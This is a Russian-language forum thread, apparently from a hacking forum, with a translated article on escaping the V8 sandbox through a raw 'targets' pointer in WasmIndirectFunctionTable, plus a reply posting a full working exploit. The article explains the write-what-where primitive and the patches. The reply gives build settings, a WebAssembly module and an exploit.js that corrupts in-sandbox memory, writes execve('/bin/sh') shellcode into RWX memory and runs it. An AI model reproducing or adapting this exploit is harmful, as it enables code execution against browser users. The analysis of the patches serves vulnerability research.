• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Глубокое погружение в технику выхода из песочницы V8, используемую в эксплойте который применяется в дикой среде

yashechka

Генератор контента.Фанат Ильфака и Рикардо Нарвахи
Эксперт
Регистрация
24.11.2012
Сообщения
2 344
Реакции
3 563
Введение

Мы анализировали существующую уязвимость V8 CVE-2023–2033. Как только мы воспользовались этой ошибкой, нам не составило труда получить типичные примитивы эксплойта, такие как addrof, чтение и запись в кучЕ V8. Проблема в том, что нам нужно выйти из песочницы V8, чтобы добиться выполнения кода.

Однажды нам довелось прочитать твит от @zh1x1an1221. Ему удалось взломать хром, промодемонстрировав запуск калькулятора, воспользовавшись CVE-2023–3079, и еще одной распространенной уязвимостью, он смог обойти «песочницу». В твите он упомянул коммит, связанный с песочницей, который он использовал для выхода из песочницы. Похоже, что коммит поместил в «песочницу» необработанный указатель в объекте WebAssembly, который был использован для обхода «песочницы» V8. На этот коммит стоило обратить внимание, поскольку необработанные указатели в куче V8 всегда были источниками выхода из песочницы V8.

В этой статье мы поделимся подробностями того, как мы достигли произвольных примитивов записи и выполнения кода, используя необработанный указатель в объекте WasmIndirectFunctionTable. CVE-2023-2033 мы рассматривать не будем, так как о ней уже много подробных описаний. Ниже будет краткий анализ исправлений, связанных с обходом песочницы.

Описание

Чтобы понять обход песочницы V8 в этой статье, нам нужно понять три концепции WebAssembly: модуль, экземпляр и таблица. Модуль — это набор кода WebAssembly без сохранения состояния, экземпляр которого мы можем создать с помощью JavaScript. Мы можем думать об этом как о двоичном файле (например, ELF), поскольку мы можем создавать процессы из двоичного файла. Экземпляр — это исполняемый объект с сохранением состояния, созданный из модуля. Как и модули других языков программирования, модуль WebAssembly может содержать экспортированные функции WebAssembly, к которым мы можем получить доступ с помощью JavaScript.

Таблица — самое важное понятие в этом посте. Это массив функций, к которым мы можем получить доступ через индексы таблицы. Записи в таблице доступны как для чтения, так и для записи динамически с помощью кода WebAssembly или API-интерфейсов JavaScript.

Когда мы создаем экземпляр модуля, экземпляр может импортировать функции JavaScript и таблицы WebAssembly. Ниже приведен пример кода WebAssembly. Он импортирует функцию JavaScript и таблицу WebAssembly ( jstimes и tbl). Затем он определяет две функции $f42, $f83 которые используются для инициализации импортированной таблицы. Наконец, он определяет две экспортируемые функции times2 и pwn.

Код:
(module
  ;; The common type we use throughout the sample.
  (type $int2int (func (param i32) (result i32)))

  ;; Import a function named jstimes3 from the environment and call it
  ;; $jstimes3 here.
  (import "env" "jstimes3" (func $jstimes3 (type $int2int)))

  (import "js" "tbl" (table 2 funcref))
  (func $f42 (result i32) i32.const 42)
  (func $f83 (result i32) i32.const 83)
  (elem (i32.const 0) $f42 $f83)

  (func (export "times2") (type $int2int) (i32.const 16))
  (func (export "pwn") (type $int2int) (i32.const 16) (call $jstimes3))
)

Мы можем импортировать приведенный выше код WebAssembly в JavaScript с помощью следующего кода.

JavaScript:
const tbl = new WebAssembly.Table({
    initial: 2,
    element: "anyfunc"
});
const importObject = {
    env: {
        jstimes3: (n) => 3 * n,
    },
    js: { tbl }
};
var code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 10, 2, 96, 1, 127, 1, 127, 96, 0, 1, 127, 2, 27, 2, 3, 101, 110, 118, 8, 106, 115, 116, 105, 109, 101, 115, 51, 0, 0, 2, 106, 115, 3, 116, 98, 108, 1, 112, 0, 2, 3, 5, 4, 1, 1, 0, 0, 7, 16, 2, 6, 116, 105, 109, 101, 115, 50, 0, 3, 3, 112, 119, 110, 0, 4, 9, 8, 1, 0, 65, 0, 11, 2, 1, 2, 10, 24, 4, 4, 0, 65, 42, 11, 5, 0, 65, 211, 0, 11, 4, 0, 65, 16, 11, 6, 0, 65, 16, 16, 0, 11]);
var module = new WebAssembly.Module(code);
var instance = new WebAssembly.Instance(module, importObject);
var times2 = instance.exports.times2;

%DebugPrint(instance);

В V8 экземпляр и таблица WebAssembly реализованы как WasmInstanceObjectи WasmTableObject. Когда экземпляр импортирует таблицу, импортированная таблица сохраняется в поле tables файла WasmInstanceObject. Затем WasmIndirectFunctionTable выделяется и сохраняется в поле indirect_function_tables файла WasmInstanceObject. WasmIndirectFunctionTable имеет поле targets, содержащее указатели на функции WasmTableObject. Импортированные функции JavaScript сохраняются в поле imported_function_targets файла WasmInstanceObject. Итак, из приведенного выше кода WebAssembly и JavaScript структура выглядит следующим образом:

1707040233222.png

Расположение памяти среди объектов Wasm


Использование WasmIndirectFunctionTable для получения примитива произвольной записи

Когда мы создаем дамп памяти объекта WasmIndirectFunctionTable, мы видим, что targets это необработанный указатель, указывающий на область памяти за пределами песочницы V8.

DebugPrint: 0x239d001a43ed: [WasmInstanceObject] in OldSpace
- map: 0x239d001997a5 <Map[224](HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x239d001a35d1 <Object map = 0x239d001a43c5>
- elements: 0x239d00000219 <FixedArray[0]> [HOLEY_ELEMENTS]
- module_object: 0x239d00042991 <Module map = 0x239d00199379>
- exports_object: 0x239d00042af1 <Object map = 0x239d001a4661>
- native_context: 0x239d00183c2d <NativeContext[282]>
- tables: 0x239d00042a91 <FixedArray[1]>
- indirect_function_tables: 0x239d00042a9d <FixedArray[1]
- ...

0x239d00042a9d: [FixedArray]
- map: 0x239d00000089 <Map(FIXED_ARRAY_TYPE)>
- length: 1
0: 0x239d00042ab9 <WasmIndirectFunctionTable>
0x239d00042ab9: [WasmIndirectFunctionTable]
- map: 0x239d00001599 <Map[32](WASM_INDIRECT_FUNCTION_TABLE_TYPE)>
- size: 2
- sig_ids: 0x562ebe531150
- targets: 0x562ebe531170
- managed_native_allocations: 0x239d00042ad9 <Foreign>
- refs: 0x239d00042aa9 <FixedArray[2]>

pwndbg> x/8gx 0x239d00042ab8
0x239d00042ab8: 0x0000000200001599 0x0000562ebe531150
0x239d00042ac8: 0x0000562ebe531170 <-- targets
0x239d00042ad8: 0x00008ba00000036d 0x0000000400000089
0x239d00042ae8: 0x00000000001a43ed 0x00000219001a4661
pwndbg> x/4gx 0x562ebe531170
0x562ebe531170: 0x00003bc1b5892000 0x00003bc1b5892005 <-- $f42, $f83
0x562ebe531180: 0x0000000000000020 0x0000000000000081

Когда мы ищем коды доступа к указателю targets, мы можем найти следующую функцию:

C++:
void WasmIndirectFunctionTable::Set(uint32_t index, int sig_id,
                                    Address call_target, Object ref) {
  sig_ids()[index] = sig_id;
  targets()[index] = call_target;
  refs().set(index, ref);
}

WasmIndirectFunctionTable::Set записывает в область памяти call_target, на которую указывает targets. Поскольку targets в песочнице V8 это необработанный указатель, мы можем добиться произвольного примитива записи, изменив указатель с помощью наших примитивов чтения/записи в песочнице. Теперь вопрос в том, можем ли мы установить произвольное значение по нашему выбору для call_target. Итак, мы проанализировали, как мы можем достичь WasmIndirectFunctionTable::Set и откуда берется это значение call_target.

Маршрут к WasmIndirectFunctionTable::Set начинается от WasmTableObject::Set. Это реализация WebAssembly.Table.prototype.set() JavaScript API. Сначала он вызывает WasmTableObject::SetFunctionTableEntry.

C++:
void WasmTableObject::Set(Isolate* isolate, Handle<WasmTableObject> table,
                          uint32_t index, Handle<Object> entry) {
  // ...
  switch (table->type().heap_representation()) {
    // ...
    default:
      DCHECK(!table->instance().IsUndefined());
      if (WasmInstanceObject::cast(table->instance())
              .module()
              ->has_signature(table->type().ref_index())) {
        SetFunctionTableEntry(isolate, table, entries, entry_index, entry);
        return;
      }
      entries->set(entry_index, *entry);
      return;
  }
}

WasmTableObject::SetFunctionTableEntry проверяет, имеет ли передаваемая функция WasmTableObject::Set тип WasmExportedFunction. Если да, он получает родительский объект WasmInstanceObject экспортируемой функции. Затем он загружает индекс экспортированной функции, и этот индекс используется для получения указателя на объект wasm::WasmFunction, который находится в файле WasmInstanceObject. Со всеми значениями он вызывает WasmTableObject::UpdateDispatchTables.

C++:
void WasmTableObject::SetFunctionTableEntry(Isolate* isolate,
                                            Handle<WasmTableObject> table,
                                            Handle<FixedArray> entries,
                                            int entry_index,
                                            Handle<Object> entry) {
  // ...
  Handle<Object> external = WasmInternalFunction::GetOrCreateExternal(
      Handle<WasmInternalFunction>::cast(entry));

  if (WasmExportedFunction::IsWasmExportedFunction(*external)) {
    auto exported_function = Handle<WasmExportedFunction>::cast(external);
    Handle<WasmInstanceObject> target_instance(exported_function->instance(),
                                               isolate);
    int func_index = exported_function->function_index();
    auto* wasm_function = &target_instance->module()->functions[func_index];
    UpdateDispatchTables(isolate, *table, entry_index, wasm_function,
                         *target_instance);
  }
  // ...
}

WasmTableObject::UpdateDispatchTables выполняет итерацию по таблицам диспетчеризации внутри таблицы и обновляет соответствующие значения для каждой записи WasmIndirectFunctionTable, вызывая метод WasmIndirectFunctionTable::Set.

Здесь мы видим, что call_target переданное значение — WasmIndirectFunctionTable::Set это возвращаемое значение WasmInstanceObject::GetCallTarget.

C++:
void WasmTableObject::UpdateDispatchTables(Isolate* isolate,
                                           WasmTableObject table,
                                           int entry_index,
                                           const wasm::WasmFunction* func,
                                           WasmInstanceObject target_instance) {
  DisallowGarbageCollection no_gc;

  // We simply need to update the IFTs for each instance that imports
  // this table.
  FixedArray dispatch_tables = table.dispatch_tables();
  DCHECK_EQ(0, dispatch_tables.length() % kDispatchTableNumElements);

  // ...
  Address call_target = target_instance.GetCallTarget(func->func_index);

  int original_sig_id = func->sig_index;

  for (int i = 0, len = dispatch_tables.length(); i < len;
       i += kDispatchTableNumElements) {
    int table_index =
        Smi::cast(dispatch_tables.get(i + kDispatchTableIndexOffset)).value();
    WasmInstanceObject instance = WasmInstanceObject::cast(
        dispatch_tables.get(i + kDispatchTableInstanceOffset));
    int sig_id = target_instance.module()
                     ->isorecursive_canonical_type_ids[original_sig_id];
    WasmIndirectFunctionTable ift = WasmIndirectFunctionTable::cast(
        instance.indirect_function_tables().get(table_index));
    ift.Set(entry_index, sig_id, call_target, call_ref);
  }
}

WasmInstanceObject::GetCallTarget возвращает фактический адрес (т. е. указатель кода функции) функции WebAssembly, индекс которой в экземпляре равен func_index. Параметр func_index может быть либо импортированной функцией, либо экспортированной функцией. Если функция является импортированной функцией, цель вызова будет получена из imported_function_targets. Поскольку мы уже проверили, что это func_indexfrom WasmExportedFunction, возвращаемое значение будет from jump_table_start() + ....

C++:
Address WasmInstanceObject::GetCallTarget(uint32_t func_index) {
  wasm::NativeModule* native_module = module_object().native_module();
  if (func_index < native_module->num_imported_functions()) {
    return imported_function_targets().get(func_index);
  }
  return jump_table_start() +
         JumpTableOffset(native_module->module(), func_index);
}

Проблема в том, что imported_function_target это сжатый указатель, а это jump_table_start необработанный указатель. Оба указателя находятся в песочнице V8, а это значит, что мы можем перезаписать два указателя. Однако мы не можем контролировать содержимое, на которое указывает jump_table_start поскольку у нас еще нет произвольного примитива записи.

DebugPrint: 0x3ed3001a4f89: [WasmInstanceObject] в OldSpace
...
- import_function_targets: 0x3ed300042cd9 <ByteArray[8]>
...
- jump_table_start: 0x10553c7e7000
...

Таким образом, мы должны сделать чтобы WasmInstanceObject::GetCallTarget исполняла if (func_index < ...), чтобы сделать возвращаемое значение контролируемым.

native_module->num_imported_functions() равно 1 из нашего кода Wasm ( (import "env" "jstimes3" (func $jstimes3 (type $int2int)))).

func_index читается из объекта WasmExportedFunctionData, который находится в песочнице V8. Поэтому, если мы установим function_index в нулевое значение экспортированной функции Wasm и вызовем WasmInstanceObject::GetCallTarget, то функция возьмет ветвь if и вернет значение в imported_function_targets.

DebugPrint: 0x2bc001a4505: [Function] in OldSpace
- map: 0x02bc00193751 <Map[28](HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x02bc00184299 <JSFunction (sfi = 0x2bc001460a5)>
- elements: 0x02bc00000219 <FixedArray[0]> [HOLEY_ELEMENTS]
- function prototype: <no-prototype-slot>
- shared_info: 0x02bc001a44e1 <SharedFunctionInfo js-to-wasm:i:i>
- ...
0x2bc001a44e1: [SharedFunctionInfo] in OldSpace
- map: 0x02bc00000d75 <Map[36](SHARED_FUNCTION_INFO_TYPE)>
- name: 0x02bc00002775 <String[1]: #3>
- kind: NormalFunction
- syntax kind: AnonymousExpression
- function_map_index: 206
- formal_parameter_count: 1
- expected_nof_properties: 0
- language_mode: sloppy
- data: 0x02bc001a44b5 <Other heap object (WASM_EXPORTED_FUNCTION_DATA_TYPE)>
- ...
0x2bc001a44b5: [WasmExportedFunctionData] in OldSpace
- map: 0x02bc00001ea9 <Map[44](WASM_EXPORTED_FUNCTION_DATA_TYPE)>
- internal: 0x02bc001a449d <Other heap object (WASM_INTERNAL_FUNCTION_TYPE)>
- wrapper_code: 0x02bc0002bb9d <Code BUILTIN GenericJSToWasmWrapper>
- js_promise_flags: 0
- instance: 0x02bc001a4381 <Instance map = 0x2bc001997a5>
- function_index: 3
- ...

Ниже приведены обобщенные шаги для получения произвольного примитива записи:

1. Создайте таблицу WebAssembly и экземпляр WebAssembly, который импортирует таблицу.
— Модуль WebAssembly должен импортировать хотя бы одну функцию JavaScript, чтобы значение native_module->num_imported_functions() было ненулевым.
2. Перезапишите указатель targets в файле WasmIndirectFunctionTable на произвольный адрес WasmInstanceObject
- Этот указатель будет указателем where (Write-What-Where) произвольного примитива записи.
3. Установите значение function_index экспортированной функции WebAssembly на ноль.
4. Перезапишите содержимое, на которое указывает imported_function_targets произвольным значением.
- Это значение будет значением what (Write-What-Where) произвольного примитива записи.
5. Вызов WebAssembly.Table.prototype.set().
- Этот вызов запишет what в файл where. (WWH)

1707040380493.png

V8 Crash - invalid write access


Примитив произвольной записи для выполнения кода

Импортированные функции при создании экземпляра модуля WebAssembly сохраняются в imported_function_targets в файле WasmInstanceObject.

imported_function_targets содержит точки входа кода импортированных функций.

Указатели представляют собой необработанные указатели с разрешениями RWX.

DebugPrint: 0x418001a4fa1: [WasmInstanceObject] in OldSpace
- ...
- imported_function_targets: 0x041800042cd9 <ByteArray[8]>
- ...

pwndbg> x/8gx 0x041800042cd8
0x41800042cd8: 0x000000100000095d 0x00003cef5608b700
0x41800042ce8: 0x0000000200000089 0x00000089001a5081
0x41800042cf8: 0x000000000000000a 0x0000000000000000
0x41800042d08: 0x001a5169001a50bd 0x00000006000000d9
pwndbg> vmmap 0x00003cef5608b700
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
Start End Perm Size Offset File
0x41b80c80000 0x52000000000 ---p 1047f380000 0 [anon_41b80c80]
► 0x3cef5608b000 0x3cef5608c000 rwxp 1000 0 [anon_3cef5608b] +0x700

Таким образом, с помощью произвольного примитива записи мы можем скопировать наш шелл-код в память rwx и выполнить его с помощью экспортированной функции Wasm, которая вызывает перезаписанную импортированную функцию.

0x3bdb0004cce5: [WasmIndirectFunctionTable]
- map: 0x3bdb00001589 <Map[20](WASM_INDIRECT_FUNCTION_TABLE_TYPE)>
- size: 2
- sig_ids: 0x3bdb0004ccc5 <ByteArray[8]>
- targets: 0x3bdb0004ccd5 <ExternalPointerArray[2]>
- refs: 0x3bdb0004ccb5 <FixedArray[2]>

Патчи

Патчи для обхода песочницы выполняются в два этапа.

Первый патч превратил указатель targets в указатель в куче (сжатый по указателю), так что указатель нельзя использовать для получения произвольного примитива записи. Мы заметили, что этот коммит был помечен тем же номером проблемы, что и CVE-2023-2033. Это означает, что реальный эксплойт, доступный автору отчета о проблеме, мог использовать ту же технику эксплойта.

Точки входа в код targets также были уязвимы, поэтому второй патч превратил объект targets в код ExternalPointerArray, содержащий закодированные указатели ( ExternalPointer) вместо необработанных указателей. Этот патч не позволял злоумышленникам изменять указатели кода в target.

0x3bdb0004cce5: [WasmIndirectFunctionTable]
- map: 0x3bdb00001589 <Map[20](WASM_INDIRECT_FUNCTION_TABLE_TYPE)>
- size: 2
- sig_ids: 0x3bdb0004ccc5 <ByteArray[8]>
- targets: 0x3bdb0004ccd5 <ExternalPointerArray[2]>
- refs: 0x3bdb0004ccb5 <FixedArray[2]>

Ниже приводится график, связанный с CVE-2023–2033 и исправлениями обхода песочницы.

21 июля 2023 г.: выпущен второй патч для обхода песочницы.
14 апреля 2023 г.: выпущен первый патч для обхода песочницы.
12 апреля 2023 г.: CVE-2023–2033 пропатчено.
11 апреля 2023 г.: сообщение о проблеме CVE-2023–2033.

Рекомендации

v8.dev/blog/pointer-compression
developer.mozilla.org/en-US/docs/WebAssembly/JavaScript_interface/Module
developer.mozilla.org/en-US/docs/WebAssembly/JavaScript_interface/Instance
developer.mozilla.org/en-US/docs/WebAssembly/JavaScript_interface/Table
developer.mozilla.org/en-US/docs/WebAssembly/Exported_functions
x.com/zh1x1an1221/status/1694573285563056201?s=20
bugs.chromium.org/p/chromium/issues/detail?id=1432210
developer.mozilla.org/en-US/docs/WebAssembly/Understanding_the_text_format

Переведено специально для xss.pro
Автор перевода: yashechka
Источник: https://blog.theori.io/a-deep-dive-...ique-used-in-in-the-wild-exploit-d5dcf30681d4
 
Последнее редактирование модератором:
Пожалуйста, обратите внимание, что пользователь заблокирован
Эксплойт к статье ниже.

V8 Sandbox Escape using WasmIndirectFunctionTable::targets​


Setup
$ Fetch v8 source code and depot_tools
$ git checkout f7a3499f6d7e50b227a17d2bbd96e4b59a261d3c
$ gclient sync
$ gn args out/x64.release
$ Edit 'args.gn'
$ autoninja -C out/x64.release

args.gn
is_component_build = false
is_debug = false
target_cpu = "x64"
v8_enable_sandbox = true
use_goma = false
v8_enable_backtrace = true
v8_enable_disassembler = true
v8_enable_object_print = true
v8_enable_verify_heap = true
dcheck_always_on = false
v8_expose_memory_corruption_api = true

exploit.wat
Код:
(module
  ;; The common type we use throughout the sample.
  (type $int2int (func (param i32) (result i32)))

  ;; Import a function named jstimes3 from the environment and call it
  ;; $jstimes3 here.
  (import "env" "jstimes3" (func $jstimes3 (type $int2int)))

  (import "js" "tbl" (table 2 funcref))
  (func $f42 (result i32) i32.const 42)
  (func $f83 (result i32) i32.const 83)
  (elem (i32.const 0) $f42 $f83)

  (func (export "times2") (type $int2int) (i32.const 16))
  (func (export "pwn") (type $int2int) (i32.const 16) (call $jstimes3))
)

exploit.js
Код:
var sbxMemView = new Sandbox.MemoryView(0, 0xfffffff8);
var dv = new DataView(sbxMemView);

function caged_addr_of(obj) {
  return Sandbox.getAddressOf(obj);
}

function caged_read64(addr) {
  addr &= ~1;
  return dv.getBigUint64(addr, true);  
}

function caged_write64(addr, val) {
  addr &= ~1;
  dv.setBigUint64(addr, val, true);  
}

function pwn() {
  const tbl = new WebAssembly.Table({
    initial: 2,
    element: "anyfunc"
  });

  const importObject = {
    env: { jstimes3: (n) => 3 * n, },
    js: { tbl }
  };

  var code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 10, 2, 96, 1, 127, 1, 127, 96, 0, 1, 127, 2, 27, 2, 3, 101, 110, 118, 8, 106, 115, 116, 105, 109, 101, 115, 51, 0, 0, 2, 106, 115, 3, 116, 98, 108, 1, 112, 0, 2, 3, 5, 4, 1, 1, 0, 0, 7, 16, 2, 6, 116, 105, 109, 101, 115, 50, 0, 3, 3, 112, 119, 110, 0, 4, 9, 8, 1, 0, 65, 0, 11, 2, 1, 2, 10, 24, 4, 4, 0, 65, 42, 11, 5, 0, 65, 211, 0, 11, 4, 0, 65, 16, 11, 6, 0, 65, 16, 16, 0, 11]);
  var module = new WebAssembly.Module(code);
  var instance = new WebAssembly.Instance(module, importObject);
  var times2 = instance.exports.times2;

  var shellcode_bytes = [49, 246, 72, 187, 47, 98, 105, 110, 47, 47, 115, 104, 86, 83, 84, 95, 106, 59, 88, 49, 210, 15, 5, 144];
  var array_buffer = new ArrayBuffer(shellcode_bytes.length);
  var byte_arr = new Uint8Array(array_buffer);
  var bigint_arr = new BigInt64Array(array_buffer);
  var shellcode = instance.exports.pwn;

  // Set the function_index of `instance.exports.times2` to 0
  var instance_addr = caged_addr_of(instance);
  var tbl_addr = caged_addr_of(tbl);
  var exported_func_addr = caged_addr_of(instance.exports.times2);
  var shared_info_ptr = Number(caged_read64(exported_func_addr + 0x8) >> 32n);
  var data = Number(caged_read64(shared_info_ptr) >> 32n);
  var instance_and_function_index = caged_read64(data + 0x10);
  var instance = instance_and_function_index & 0xFFFFFFFFn;
  caged_write64(data + 0x10, (0n << 32n) | instance);

  print("[+] instance_addr = 0x" + instance_addr.toString(16));
  print("[+] tbl_addr = 0x" + tbl_addr.toString(16));
  print("[+] exported_func_addr = 0x" + exported_func_addr.toString(16));

  var imported_function_targets_and_ift_size = caged_read64(instance_addr + 0x18);
  var imported_function_targets = imported_function_targets_and_ift_size & 0xFFFFFFFFn;
  let what_ptr = Number(imported_function_targets) + 0x8;
  var rwx = caged_read64(what_ptr);

  print("[+] imported_function_targets = 0x" + imported_function_targets.toString(16));
  print("[+] rwx = 0x" + rwx.toString(16));

  var indirect_function_tables = Number(caged_read64(instance_addr + 0xc0) >> 32n);
  var indirect_function_table = Number(caged_read64(indirect_function_tables + 0x8) & 0xFFFFFFFFn);
  var targets_ptr = indirect_function_table + 0x10;
  var where_ptr = targets_ptr;
  var targets = caged_read64(targets_ptr);
  print("[+] indirect_function_tables = 0x" + indirect_function_tables.toString(16));
  print("[+] indirect_function_table = 0x" + indirect_function_table.toString(16));

  let arbitrary_write = (where, what) => {
    caged_write64(where_ptr, where - 0x8n);
    caged_write64(what_ptr, what);
    tbl.set(1, times2);
    caged_write64(what_ptr, rwx);
    caged_write64(where_ptr, targets);
  };

  for (var i = 0; i < shellcode_bytes.length; ++i) {
    byte_arr[i] = shellcode_bytes[i];
  }

  for (var i = 0; i < shellcode_bytes.length / 8; ++i) {
    arbitrary_write(rwx + 8n * BigInt(i), bigint_arr[i]);
  }

  shellcode();
}

pwn();
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх